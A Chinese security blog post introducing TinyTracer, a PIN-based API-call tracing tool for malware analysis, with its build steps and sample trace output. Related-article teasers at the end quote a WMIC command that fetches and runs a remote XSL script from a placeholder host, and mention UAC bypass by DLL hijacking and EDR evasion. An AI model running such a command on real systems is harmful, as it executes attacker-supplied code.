如何使用TinyTracer跟踪API调用

VSole2023-12-04 17:14:43

关于TinyTracer

TinyTracer是一款功能强大的API调用跟踪工具,在该工具的帮助下,广大研究人员能够轻松实现API的调用跟踪。

功能介绍

1、支持跟踪API调用,其中包括参数和选择的目标函数;
2、选择的指令,包括RDTSCCPUIDINT
3、内联系统调用,包括参数和选择的syscall;
4、支持在被跟踪模块的各个部分之间切换(可以帮助找到封装模块的OEP);
5、支持基于RDTSC绕过反跟踪机制;

工具要求

Intel PIN
Visual Studio(Windows)
g++、make(Linux)

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/hasherezade/tiny_tracer.git

工具构建

Windows

在Windows平台上,我们需要使用Visual Studio( >= 2012)来编译和构建工具代码,当前版本的TinyTracer已在Intel Pin 3.28上进行过测试。

接下来,将克隆下来的代码拷贝到Pin根目录的\source\tools路径下,然后在Visual Studio中导入项目,并进行代码构建即可。

Linux

在Linux平台下,我们可以直接运行tiny_runner.sh脚本来完成工具的构建:

ln -s $HOME/pin/source/tools/tiny_tracer/install32_64/tiny_runner.sh ~/bin/tiny_runner.sh

ln -s $HOME/pin/source/tools/tiny_tracer/install32_64/ $HOME/Desktop/install32_64

注意事项

1、为了保证工具能够正常运行,内核调试功能必须被禁用;
2、在项目的install32_64目录中,提供了用于检测内核调试功能是否已禁用的脚本,该脚本可能会被Windows Defender检测为恶意软件;
3、请在Windows 8+环境使用该工具;

工具使用

下面给出的是一个跟踪调用的演示样例:

~/Desktop/pin_tests$ tiny_runner.sh ./demo


Linux runner for Tiny Tracer

Usage: <target_app> [target_module*]

*-optional; default: target app's main module

Traced App: ./demo

Traced Module Name: demo

The app is 64 bit.

Watch 5 functions

Watch 0 syscalls

===============================================

This application is instrumented by TinyTracer v.2.2

Tracing module: demo

See file ./demo.tag for analysis results

===============================================

Hello World!

以.tag格式生成一份跟踪报告,之后可将其加载到其他分析工具中进行进一步分析:

RVA;traced event

生成结果如下:

345c2;section: .text

58069;called: C:\Windows\SysWOW64\kernel32.dll.IsProcessorFeaturePresent

3976d;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW

3983c;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress

3999d;called: C:\Windows\SysWOW64\KernelBase.dll.InitializeCriticalSectionEx

398ac;called: C:\Windows\SysWOW64\KernelBase.dll.FlsAlloc

3995d;called: C:\Windows\SysWOW64\KernelBase.dll.FlsSetValue

49275;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW

4934b;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress

...

我们也可以通过修改install32_64目录中的TinyTracer.ini和parameters.txt来启用或禁用某些功能。

项目地址

TinyTracer:https://github.com/hasherezade/tiny_tracer"

参考资料

https://c9x.me/x86/html/file_module_x86_id_278.html
https://c9x.me/x86/html/file_module_x86_id_45.html
https://c9x.me/x86/html/file_module_x86_id_142.html
https://visualstudio.microsoft.com/downloads/
https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads


syswow64
本作品采用《CC 协议》,转载必须注明作者和本文链接
跑起来直接异常了,只能先静态看看从IDA中发现有一些加密的字符串,并且加密字符串后续的操作疑是解密过程结合x64dbg在解密函数开头设置新的运行点可以发现解密的过程就是异或0x1D通过IDA脚本解密出部分xor编码的字符串import?解密出部分字符串,发现有检测windows版本的功能,以及C&C深入分析 二进制代码中有大量的mov操作,以及利用try catch的混淆手段扰乱着代码块,静态看起来比较复杂。,但下断点后发现在反调试之前就已经异常了。
GuLoader_VBS恶意加载器分析报告
前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示: C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
从2023年9月30日开始,SentinelOne观察到一伙威胁分子利用Progress的WS_FTP最近披露的漏洞,攻击运行该软件高危版本的Windows服务器。两个最严重的漏洞是CVE -2023-40044和CVE -2023-42657,CVSS评分分别为10分和9.9分。
Kaspersky AVP.exe DLL 劫持
2022-07-21 22:53:31
Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况
实战中如到某虚拟主机,磁盘权限设置较为严格,cmd.exe被降权执行不了命令,常见可读写目录也不能读,这时就需要用到探测可读写的脚本来查找可读写的目录和文件,用于上传cmd.exe和提权EXP等。
BypassUAC技术总结
2022-05-02 06:57:08
用户帐户控制(User Account Control,简写作UAC)是微软公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。
管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。我们劫持该exe文件的dll,可以达到Bypass UAC提权的目的。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。实践出真知2这里使用第三种方法进行实验,实验对象是eventvwr.msc,它是管理工具中的事件查看器,它依赖于mmc.exe来运行。
介绍在最近的一次操作中,我们获得了工作站的本地管理员权限,但是在该工作站上发现了 EDR 解决方案。在这种情
VSole
网络安全专家